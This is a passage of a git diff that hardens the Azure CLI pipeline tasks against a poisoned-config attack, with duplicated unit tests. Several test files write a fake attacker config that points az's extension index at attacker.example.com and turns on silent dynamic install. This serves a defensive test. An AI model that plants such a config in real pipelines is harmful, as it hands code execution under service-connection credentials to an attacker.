fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('removes the directory (even when it contains files left by az)', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + fs.writeFileSync(path.join(dir, 'config'), '[extension]\nindex_url = x\n'); + fs.mkdirSync(path.join(dir, 'cliextensions')); + process.env['AZURE_CONFIG_DIR'] = dir; + removePerInvocationAzureConfigDir(dir); + assert(!fs.existsSync(dir), 'directory must be gone after cleanup'); + assert(process.env['AZURE_CONFIG_DIR'] === undefined, + 'AZURE_CONFIG_DIR env var must be unset after cleanup'); + }); + + it('is a no-op for null/empty inputs (safe in finally)', () => { + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(null)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(undefined)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir('')); + }); + + it('never throws when the path does not exist', () => { + const ghost = path.join(agentTemp, '.azclitask-ghost00'); + assert(!fs.existsSync(ghost)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(ghost)); + }); + }); +} diff --git a/Tasks/AzureCLIV3/azureclitask.ts b/Tasks/AzureCLIV3/azureclitask.ts index 3b6b24feb1d0..979dd9207b08 100644 --- a/Tasks/AzureCLIV3/azureclitask.ts +++ b/Tasks/AzureCLIV3/azureclitask.ts @@ -10,6 +10,7 @@ import { ITaskApi } from "azure-devops-node-api/TaskApi"; import { validateAzModuleVersion } from "azure-pipelines-tasks-azure-arm-rest/azCliUtility"; import { emitTelemetry } from 'azure-pipelines-tasks-artifacts-common/telemetry'; import { tryValidateScriptArgs, ArgsSanitizingError } from "./src/argsSanitizer"; +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from "./src/AzureCliConfigDir"; const nodeVersion = parseInt(process.version.split('.')[0].replace('v', '')); if (nodeVersion > 16) { @@ -162,7 +163,11 @@ export class azureclitask { } if (scriptType) { - await scriptType.cleanUp(); + try { + await scriptType.cleanUp(); + } catch (cleanupErr) { + tl.debug(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); + } } if (this.cliPasswordPath) { @@ -170,6 +175,11 @@ export class azureclitask { tl.rmRF(this.cliPasswordPath); } + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } + //set the task result to either succeeded or failed based on error was thrown or not if(toolExecutionError === FAIL_ON_STDERR) { tl.setResult(tl.TaskResult.Failed, tl.loc("ScriptFailedStdErr")); @@ -259,6 +269,7 @@ export class azureclitask { private static isLoggedIn: boolean = false; private static cliPasswordPath: string = null; + private static azCliConfigPath: string = null; private static servicePrincipalId: string = null; private static servicePrincipalKey: string = null; private static federatedToken: string = null; @@ -502,10 +513,14 @@ export class azureclitask { return; } - if (!!tl.getVariable('Agent.TempDirectory')) { - var azCliConfigPath = path.join(tl.getVariable('Agent.TempDirectory'), ".azclitask"); - console.log(tl.loc('SettingAzureConfigDir', azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = azCliConfigPath; + const agentTempDir = tl.getVariable('Agent.TempDirectory'); + if (!!agentTempDir) { + // Security: create an unpredictable per-invocation + // directory so an earlier pipeline step cannot pre-seed a poisoned + // az config file at $(Agent.TempDirectory)/.azclitask/config. + this.azCliConfigPath = createPerInvocationAzureConfigDir(agentTempDir); + console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); + process.env['AZURE_CONFIG_DIR'] = this.azCliConfigPath; } else { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); } diff --git a/Tasks/AzureCLIV3/src/AzureCliConfigDir.ts b/Tasks/AzureCLIV3/src/AzureCliConfigDir.ts new file mode 100644 index 000000000000..e0f944c13ab0 --- /dev/null +++ b/Tasks/AzureCLIV3/src/AzureCliConfigDir.ts @@ -0,0 +1,59 @@ +import * as fs from 'fs'; +import * as path from 'path'; +import * as tl from 'azure-pipelines-task-lib/task'; + +/** + * AZURE_CONFIG_DIR isolation helper for the AzureCLI@1/@2/@3 tasks. + * + * NOTE: this file is intentionally duplicated under + * Tasks/AzureCLIV1/src, Tasks/AzureCLIV2/src and Tasks/AzureCLIV3/src. + * Each AzureCLI task is shipped as a self-contained npm package and the + * repo convention is to keep small, task-coupled helpers in the task + * folder rather than introduce a new shared package. Keep all three + * copies in sync when changing this file. + * + * Background: the legacy code pointed AZURE_CONFIG_DIR at the predictable + * path $(Agent.TempDirectory)/.azclitask which allowed any earlier + * pipeline step running on the same agent to pre-seed a poisoned `config` + * file (e.g. extension.index_url / use_dynamic_install / + * run_after_dynamic_install) and achieve code execution under the + * service-connection identity once the AzureCLI task subsequently invoked + * `az`. Creating a fresh, unpredictable directory per invocation closes + * that gap. + */ + +/** + * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the + * supplied agent temp directory. Returns the absolute path. The directory + * has the form `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * cryptographically-random alphanumeric characters chosen by libuv + * (filesystem-safe on every supported OS). + */ +export function createPerInvocationAzureConfigDir(agentTempDir: string): string { + if (!agentTempDir) { + throw new Error('agentTempDir is required'); + } + return fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); +} + +/** + * Removes a directory previously created by + * createPerInvocationAzureConfigDir and unsets the AZURE_CONFIG_DIR env + * var. Safe to call in `finally` — never throws; logs to tl.debug on + * failure so a broken cleanup cannot mask the original task error. + */ +export function removePerInvocationAzureConfigDir(configPath: string | null | undefined): void { + if (!configPath) { + return; + } + tl.debug(`Removing per-invocation AZURE_CONFIG_DIR: ${configPath}`); + try { + tl.rmRF(configPath); + } catch (rmErr) { + const msg = (rmErr && (rmErr as Error).message) || String(rmErr); + tl.debug(`Failed to remove AZURE_CONFIG_DIR: ${msg}`); + } + try { + delete process.env['AZURE_CONFIG_DIR']; + } catch { /* ignore */ } +} \ No newline at end of file diff --git a/_generated/AzureCLIV1/Tests/L0.ts b/_generated/AzureCLIV1/Tests/L0.ts index 8d38bb4e86f2..5c0f36646f49 100644 --- a/_generated/AzureCLIV1/Tests/L0.ts +++ b/_generated/AzureCLIV1/Tests/L0.ts @@ -3,10 +3,15 @@ import path = require('path'); import os = require('os'); import * as ttm from 'azure-pipelines-task-lib/mock-test'; +import { runConfigDirIsolationTests } from './L0ConfigDirIsolation'; describe('AzureCLIV1 Suite', function () { this.timeout(20000); + describe('AZURE_CONFIG_DIR isolation', () => { + runConfigDirIsolationTests(); + }); + // Use cross-platform temp directory for assertions const tempDir = require('os').tmpdir(); diff --git a/_generated/AzureCLIV1/Tests/L0ConfigDirIsolation.ts b/_generated/AzureCLIV1/Tests/L0ConfigDirIsolation.ts new file mode 100644 index 000000000000..ead17f3cec00 --- /dev/null +++ b/_generated/AzureCLIV1/Tests/L0ConfigDirIsolation.ts @@ -0,0 +1,121 @@ +import assert = require('assert'); +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; + +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from '../src/AzureCliConfigDir'; + +export function runConfigDirIsolationTests() { + describe('createPerInvocationAzureConfigDir (security hardening)', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + }); + + it('creates a brand-new directory under the agent temp root', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert(fs.existsSync(dir), 'config dir should exist on disk'); + assert(fs.statSync(dir).isDirectory(), 'should be a directory'); + assert(path.dirname(dir) === fs.realpathSync(agentTemp) || path.dirname(dir) === agentTemp, + `config dir parent should be agent temp, got ${path.dirname(dir)}`); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('does NOT use the predictable ".azclitask" path that the vulnerable code used', () => { + const vulnerablePath = path.join(agentTemp, '.azclitask'); + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, vulnerablePath, + 'must not use the fixed predictable path attackable by pre-seeding'); + assert(path.basename(dir).startsWith('.azclitask-'), + `basename should start with ".azclitask-" (got "${path.basename(dir)}")`); + assert(path.basename(dir).length > '.azclitask-'.length, + 'mkdtemp must append a random suffix'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('produces a different directory on each invocation', () => { + const a = createPerInvocationAzureConfigDir(agentTemp); + const b = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(a, b, 'two invocations must yield distinct dirs'); + } finally { + fs.rmSync(a, { recursive: true, force: true }); + fs.rmSync(b, { recursive: true, force: true }); + } + }); + + it('ignores an attacker-pre-seeded ".azclitask/config" in the agent temp', () => { + // Simulate the exact attack: a prior step writes a poisoned config at the + // predictable path the vulnerable task used to point AZURE_CONFIG_DIR at. + const poisonedDir = path.join(agentTemp, '.azclitask'); + fs.mkdirSync(poisonedDir, { recursive: true }); + const poisonedConfig = path.join(poisonedDir, 'config'); + fs.writeFileSync(poisonedConfig, + '[extension]\nindex_url = https://attacker.example.com/index.json\n' + + 'use_dynamic_install = yes_without_prompt\n' + + 'run_after_dynamic_install = True\n'); + + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, poisonedDir, + 'new config dir must not be the attacker-controlled predictable path'); + assert(!fs.existsSync(path.join(dir, 'config')), + 'newly-created config dir must not contain a pre-seeded config file'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('throws when agentTempDir is empty/undefined', () => { + assert.throws(() => createPerInvocationAzureConfigDir(undefined as any)); + assert.throws(() => createPerInvocationAzureConfigDir('')); + }); + }); + + describe('removePerInvocationAzureConfigDir', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('removes the directory (even when it contains files left by az)', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + fs.writeFileSync(path.join(dir, 'config'), '[extension]\nindex_url = x\n'); + fs.mkdirSync(path.join(dir, 'cliextensions')); + process.env['AZURE_CONFIG_DIR'] = dir; + removePerInvocationAzureConfigDir(dir); + assert(!fs.existsSync(dir), 'directory must be gone after cleanup'); + assert(process.env['AZURE_CONFIG_DIR'] === undefined, + 'AZURE_CONFIG_DIR env var must be unset after cleanup'); + }); + + it('is a no-op for null/empty inputs (safe in finally)', () => { + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(null)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(undefined)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir('')); + }); + + it('never throws when the path does not exist', () => { + const ghost = path.join(agentTemp, '.azclitask-ghost00'); + assert(!fs.existsSync(ghost)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(ghost)); + }); + }); +} diff --git a/_generated/AzureCLIV1/azureclitask.ts b/_generated/AzureCLIV1/azureclitask.ts index 084a8a62708b..c8781112a47a 100644 --- a/_generated/AzureCLIV1/azureclitask.ts +++ b/_generated/AzureCLIV1/azureclitask.ts @@ -5,6 +5,7 @@ import fs = require("fs"); import os = require("os"); import { getHandlerFromToken, WebApi } from "azure-devops-node-api"; import { ITaskApi } from "azure-devops-node-api/TaskApi"; +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from "./src/AzureCliConfigDir"; const nodeVersion = parseInt(process.version.split('.')[0].replace('v', '')); if (nodeVersion > 16) { @@ -117,6 +118,11 @@ export class azureclitask { tl.rmRF(this.cliPasswordPath); } + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } + //set the task result to either succeeded or failed based on error was thrown or not if (toolExecutionError) { let message = tl.loc('ScriptFailed', toolExecutionError); @@ -160,6 +166,7 @@ export class azureclitask { private static isLoggedIn: boolean = false; private static cliPasswordPath: string = null; + private static azCliConfigPath: string = null; private static servicePrincipalId: string = null; private static servicePrincipalKey: string = null; private static federatedToken: string = null; @@ -229,10 +236,14 @@ export class azureclitask { return; } - if (!!tl.getVariable('Agent.TempDirectory')) { - var azCliConfigPath = path.join(tl.getVariable('Agent.TempDirectory'), ".azclitask"); - console.log(tl.loc('SettingAzureConfigDir', azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = azCliConfigPath; + const agentTempDir = tl.getVariable('Agent.TempDirectory'); + if (!!agentTempDir) { + // Security: create an unpredictable per-invocation + // directory so an earlier pipeline step cannot pre-seed a poisoned + // az config file at $(Agent.TempDirectory)/.azclitask/config. + this.azCliConfigPath = createPerInvocationAzureConfigDir(agentTempDir); + console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); + process.env['AZURE_CONFIG_DIR'] = this.azCliConfigPath; } else { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); } diff --git a/_generated/AzureCLIV1/src/AzureCliConfigDir.ts b/_generated/AzureCLIV1/src/AzureCliConfigDir.ts new file mode 100644 index 000000000000..e0f944c13ab0 --- /dev/null +++ b/_generated/AzureCLIV1/src/AzureCliConfigDir.ts @@ -0,0 +1,59 @@ +import * as fs from 'fs'; +import * as path from 'path'; +import * as tl from 'azure-pipelines-task-lib/task'; + +/** + * AZURE_CONFIG_DIR isolation helper for the AzureCLI@1/@2/@3 tasks. + * + * NOTE: this file is intentionally duplicated under + * Tasks/AzureCLIV1/src, Tasks/AzureCLIV2/src and Tasks/AzureCLIV3/src. + * Each AzureCLI task is shipped as a self-contained npm package and the + * repo convention is to keep small, task-coupled helpers in the task + * folder rather than introduce a new shared package. Keep all three + * copies in sync when changing this file. + * + * Background: the legacy code pointed AZURE_CONFIG_DIR at the predictable + * path $(Agent.TempDirectory)/.azclitask which allowed any earlier + * pipeline step running on the same agent to pre-seed a poisoned `config` + * file (e.g. extension.index_url / use_dynamic_install / + * run_after_dynamic_install) and achieve code execution under the + * service-connection identity once the AzureCLI task subsequently invoked + * `az`. Creating a fresh, unpredictable directory per invocation closes + * that gap. + */ + +/** + * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the + * supplied agent temp directory. Returns the absolute path. The directory + * has the form `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * cryptographically-random alphanumeric characters chosen by libuv + * (filesystem-safe on every supported OS). + */ +export function createPerInvocationAzureConfigDir(agentTempDir: string): string { + if (!agentTempDir) { + throw new Error('agentTempDir is required'); + } + return fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); +} + +/** + * Removes a directory previously created by + * createPerInvocationAzureConfigDir and unsets the AZURE_CONFIG_DIR env + * var. Safe to call in `finally` — never throws; logs to tl.debug on + * failure so a broken cleanup cannot mask the original task error. + */ +export function removePerInvocationAzureConfigDir(configPath: string | null | undefined): void { + if (!configPath) { + return; + } + tl.debug(`Removing per-invocation AZURE_CONFIG_DIR: ${configPath}`); + try { + tl.rmRF(configPath); + } catch (rmErr) { + const msg = (rmErr && (rmErr as Error).message) || String(rmErr); + tl.debug(`Failed to remove AZURE_CONFIG_DIR: ${msg}`); + } + try { + delete process.env['AZURE_CONFIG_DIR']; + } catch { /* ignore */ } +} \ No newline at end of file diff --git a/_generated/AzureCLIV1_Node24/Tests/L0.ts b/_generated/AzureCLIV1_Node24/Tests/L0.ts index 8d38bb4e86f2..5c0f36646f49 100644 --- a/_generated/AzureCLIV1_Node24/Tests/L0.ts +++ b/_generated/AzureCLIV1_Node24/Tests/L0.ts @@ -3,10 +3,15 @@ import path = require('path'); import os = require('os'); import * as ttm from 'azure-pipelines-task-lib/mock-test'; +import { runConfigDirIsolationTests } from './L0ConfigDirIsolation'; describe('AzureCLIV1 Suite', function () { this.timeout(20000); + describe('AZURE_CONFIG_DIR isolation', () => { + runConfigDirIsolationTests(); + }); + // Use cross-platform temp directory for assertions const tempDir = require('os').tmpdir(); diff --git a/_generated/AzureCLIV1_Node24/Tests/L0ConfigDirIsolation.ts b/_generated/AzureCLIV1_Node24/Tests/L0ConfigDirIsolation.ts new file mode 100644 index 000000000000..ead17f3cec00 --- /dev/null +++ b/_generated/AzureCLIV1_Node24/Tests/L0ConfigDirIsolation.ts @@ -0,0 +1,121 @@ +import assert = require('assert'); +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; + +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from '../src/AzureCliConfigDir'; + +export function runConfigDirIsolationTests() { + describe('createPerInvocationAzureConfigDir (security hardening)', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + }); + + it('creates a brand-new directory under the agent temp root', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert(fs.existsSync(dir), 'config dir should exist on disk'); + assert(fs.statSync(dir).isDirectory(), 'should be a directory'); + assert(path.dirname(dir) === fs.realpathSync(agentTemp) || path.dirname(dir) === agentTemp, + `config dir parent should be agent temp, got ${path.dirname(dir)}`); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('does NOT use the predictable ".azclitask" path that the vulnerable code used', () => { + const vulnerablePath = path.join(agentTemp, '.azclitask'); + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, vulnerablePath, + 'must not use the fixed predictable path attackable by pre-seeding'); + assert(path.basename(dir).startsWith('.azclitask-'), + `basename should start with ".azclitask-" (got "${path.basename(dir)}")`); + assert(path.basename(dir).length > '.azclitask-'.length, + 'mkdtemp must append a random suffix'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('produces a different directory on each invocation', () => { + const a = createPerInvocationAzureConfigDir(agentTemp); + const b = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(a, b, 'two invocations must yield distinct dirs'); + } finally { + fs.rmSync(a, { recursive: true, force: true }); + fs.rmSync(b, { recursive: true, force: true }); + } + }); + + it('ignores an attacker-pre-seeded ".azclitask/config" in the agent temp', () => { + // Simulate the exact attack: a prior step writes a poisoned config at the + // predictable path the vulnerable task used to point AZURE_CONFIG_DIR at. + const poisonedDir = path.join(agentTemp, '.azclitask'); + fs.mkdirSync(poisonedDir, { recursive: true }); + const poisonedConfig = path.join(poisonedDir, 'config'); + fs.writeFileSync(poisonedConfig, + '[extension]\nindex_url = https://attacker.example.com/index.json\n' + + 'use_dynamic_install = yes_without_prompt\n' + + 'run_after_dynamic_install = True\n'); + + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, poisonedDir, + 'new config dir must not be the attacker-controlled predictable path'); + assert(!fs.existsSync(path.join(dir, 'config')), + 'newly-created config dir must not contain a pre-seeded config file'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('throws when agentTempDir is empty/undefined', () => { + assert.throws(() => createPerInvocationAzureConfigDir(undefined as any)); + assert.throws(() => createPerInvocationAzureConfigDir('')); + }); + }); + + describe('removePerInvocationAzureConfigDir', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('removes the directory (even when it contains files left by az)', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + fs.writeFileSync(path.join(dir, 'config'), '[extension]\nindex_url = x\n'); + fs.mkdirSync(path.join(dir, 'cliextensions')); + process.env['AZURE_CONFIG_DIR'] = dir; + removePerInvocationAzureConfigDir(dir); + assert(!fs.existsSync(dir), 'directory must be gone after cleanup'); + assert(process.env['AZURE_CONFIG_DIR'] === undefined, + 'AZURE_CONFIG_DIR env var must be unset after cleanup'); + }); + + it('is a no-op for null/empty inputs (safe in finally)', () => { + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(null)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(undefined)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir('')); + }); + + it('never throws when the path does not exist', () => { + const ghost = path.join(agentTemp, '.azclitask-ghost00'); + assert(!fs.existsSync(ghost)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(ghost)); + }); + }); +} diff --git a/_generated/AzureCLIV1_Node24/azureclitask.ts b/_generated/AzureCLIV1_Node24/azureclitask.ts index 084a8a62708b..c8781112a47a 100644 --- a/_generated/AzureCLIV1_Node24/azureclitask.ts +++ b/_generated/AzureCLIV1_Node24/azureclitask.ts @@ -5,6 +5,7 @@ import fs = require("fs"); import os = require("os"); import { getHandlerFromToken, WebApi } from "azure-devops-node-api"; import { ITaskApi } from "azure-devops-node-api/TaskApi"; +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from "./src/AzureCliConfigDir"; const nodeVersion = parseInt(process.version.split('.')[0].replace('v', '')); if (nodeVersion > 16) { @@ -117,6 +118,11 @@ export class azureclitask { tl.rmRF(this.cliPasswordPath); } + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } + //set the task result to either succeeded or failed based on error was thrown or not if (toolExecutionError) { let message = tl.loc('ScriptFailed', toolExecutionError); @@ -160,6 +166,7 @@ export class azureclitask { private static isLoggedIn: boolean = false; private static cliPasswordPath: string = null; + private static azCliConfigPath: string = null; private static servicePrincipalId: string = null; private static servicePrincipalKey: string = null; private static federatedToken: string = null; @@ -229,10 +236,14 @@ export class azureclitask { return; } - if (!!tl.getVariable('Agent.TempDirectory')) { - var azCliConfigPath = path.join(tl.getVariable('Agent.TempDirectory'), ".azclitask"); - console.log(tl.loc('SettingAzureConfigDir', azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = azCliConfigPath; + const agentTempDir = tl.getVariable('Agent.TempDirectory'); + if (!!agentTempDir) { + // Security: create an unpredictable per-invocation + // directory so an earlier pipeline step cannot pre-seed a poisoned + // az config file at $(Agent.TempDirectory)/.azclitask/config. + this.azCliConfigPath = createPerInvocationAzureConfigDir(agentTempDir); + console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); + process.env['AZURE_CONFIG_DIR'] = this.azCliConfigPath; } else { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); } diff --git a/_generated/AzureCLIV1_Node24/src/AzureCliConfigDir.ts b/_generated/AzureCLIV1_Node24/src/AzureCliConfigDir.ts new file mode 100644 index 000000000000..e0f944c13ab0 --- /dev/null +++ b/_generated/AzureCLIV1_Node24/src/AzureCliConfigDir.ts @@ -0,0 +1,59 @@ +import * as fs from 'fs'; +import * as path from 'path'; +import * as tl from 'azure-pipelines-task-lib/task'; + +/** + * AZURE_CONFIG_DIR isolation helper for the AzureCLI@1/@2/@3 tasks. + * + * NOTE: this file is intentionally duplicated under + * Tasks/AzureCLIV1/src, Tasks/AzureCLIV2/src and Tasks/AzureCLIV3/src. + * Each AzureCLI task is shipped as a self-contained npm package and the + * repo convention is to keep small, task-coupled helpers in the task + * folder rather than introduce a new shared package. Keep all three + * copies in sync when changing this file. + * + * Background: the legacy code pointed AZURE_CONFIG_DIR at the predictable + * path $(Agent.TempDirectory)/.azclitask which allowed any earlier + * pipeline step running on the same agent to pre-seed a poisoned `config` + * file (e.g. extension.index_url / use_dynamic_install / + * run_after_dynamic_install) and achieve code execution under the + * service-connection identity once the AzureCLI task subsequently invoked + * `az`. Creating a fresh, unpredictable directory per invocation closes + * that gap. + */ + +/** + * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the + * supplied agent temp directory. Returns the absolute path. The directory + * has the form `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * cryptographically-random alphanumeric characters chosen by libuv + * (filesystem-safe on every supported OS). + */ +export function createPerInvocationAzureConfigDir(agentTempDir: string): string { + if (!agentTempDir) { + throw new Error('agentTempDir is required'); + } + return fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); +} + +/** + * Removes a directory previously created by + * createPerInvocationAzureConfigDir and unsets the AZURE_CONFIG_DIR env + * var. Safe to call in `finally` — never throws; logs to tl.debug on + * failure so a broken cleanup cannot mask the original task error. + */ +export function removePerInvocationAzureConfigDir(configPath: string | null | undefined): void { + if (!configPath) { + return; + } + tl.debug(`Removing per-invocation AZURE_CONFIG_DIR: ${configPath}`); + try { + tl.rmRF(configPath); + } catch (rmErr) { + const msg = (rmErr && (rmErr as Error).message) || String(rmErr); + tl.debug(`Failed to remove AZURE_CONFIG_DIR: ${msg}`); + } + try { + delete process.env['AZURE_CONFIG_DIR']; + } catch { /* ignore */ } +} \ No newline at end of file diff --git a/_generated/AzureCLIV2/Tests/L0.ts b/_generated/AzureCLIV2/Tests/L0.ts index 033bce6979db..ccd3e0f83155 100644 --- a/_generated/AzureCLIV2/Tests/L0.ts +++ b/_generated/AzureCLIV2/Tests/L0.ts @@ -4,6 +4,7 @@ import path = require('path'); import * as ttm from 'azure-pipelines-task-lib/mock-test'; import { runValidateScriptArgsTests } from './L0ValidateScriptArgs'; import { runTryValidateScriptArgsTests } from './L0TryValidateScriptArgs'; +import { runConfigDirIsolationTests } from './L0ConfigDirIsolation'; describe('AzureCLIV2 Suite', function () { this.timeout(30000); @@ -16,6 +17,10 @@ describe('AzureCLIV2 Suite', function () { runTryValidateScriptArgsTests(); }); + describe('AZURE_CONFIG_DIR isolation', () => { + runConfigDirIsolationTests(); + }); + it('LateBoundIdToken: Feature Flag ON, Token Present -> Uses Token, Emits Telemetry', async () => { let tp = path.join(__dirname, 'LateBoundIdToken_FeatureFlagOn_TokenPresent.js'); let tr: ttm.MockTestRunner = new ttm.MockTestRunner(tp); diff --git a/_generated/AzureCLIV2/Tests/L0ConfigDirIsolation.ts b/_generated/AzureCLIV2/Tests/L0ConfigDirIsolation.ts new file mode 100644 index 000000000000..ead17f3cec00 --- /dev/null +++ b/_generated/AzureCLIV2/Tests/L0ConfigDirIsolation.ts @@ -0,0 +1,121 @@ +import assert = require('assert'); +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; + +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from '../src/AzureCliConfigDir'; + +export function runConfigDirIsolationTests() { + describe('createPerInvocationAzureConfigDir (security hardening)', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + }); + + it('creates a brand-new directory under the agent temp root', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert(fs.existsSync(dir), 'config dir should exist on disk'); + assert(fs.statSync(dir).isDirectory(), 'should be a directory'); + assert(path.dirname(dir) === fs.realpathSync(agentTemp) || path.dirname(dir) === agentTemp, + `config dir parent should be agent temp, got ${path.dirname(dir)}`); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('does NOT use the predictable ".azclitask" path that the vulnerable code used', () => { + const vulnerablePath = path.join(agentTemp, '.azclitask'); + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, vulnerablePath, + 'must not use the fixed predictable path attackable by pre-seeding'); + assert(path.basename(dir).startsWith('.azclitask-'), + `basename should start with ".azclitask-" (got "${path.basename(dir)}")`); + assert(path.basename(dir).length > '.azclitask-'.length, + 'mkdtemp must append a random suffix'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('produces a different directory on each invocation', () => { + const a = createPerInvocationAzureConfigDir(agentTemp); + const b = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(a, b, 'two invocations must yield distinct dirs'); + } finally { + fs.rmSync(a, { recursive: true, force: true }); + fs.rmSync(b, { recursive: true, force: true }); + } + }); + + it('ignores an attacker-pre-seeded ".azclitask/config" in the agent temp', () => { + // Simulate the exact attack: a prior step writes a poisoned config at the + // predictable path the vulnerable task used to point AZURE_CONFIG_DIR at. + const poisonedDir = path.join(agentTemp, '.azclitask'); + fs.mkdirSync(poisonedDir, { recursive: true }); + const poisonedConfig = path.join(poisonedDir, 'config'); + fs.writeFileSync(poisonedConfig, + '[extension]\nindex_url = https://attacker.example.com/index.json\n' + + 'use_dynamic_install = yes_without_prompt\n' + + 'run_after_dynamic_install = True\n'); + + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, poisonedDir, + 'new config dir must not be the attacker-controlled predictable path'); + assert(!fs.existsSync(path.join(dir, 'config')), + 'newly-created config dir must not contain a pre-seeded config file'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('throws when agentTempDir is empty/undefined', () => { + assert.throws(() => createPerInvocationAzureConfigDir(undefined as any)); + assert.throws(() => createPerInvocationAzureConfigDir('')); + }); + }); + + describe('removePerInvocationAzureConfigDir', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('removes the directory (even when it contains files left by az)', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + fs.writeFileSync(path.join(dir, 'config'), '[extension]\nindex_url = x\n'); + 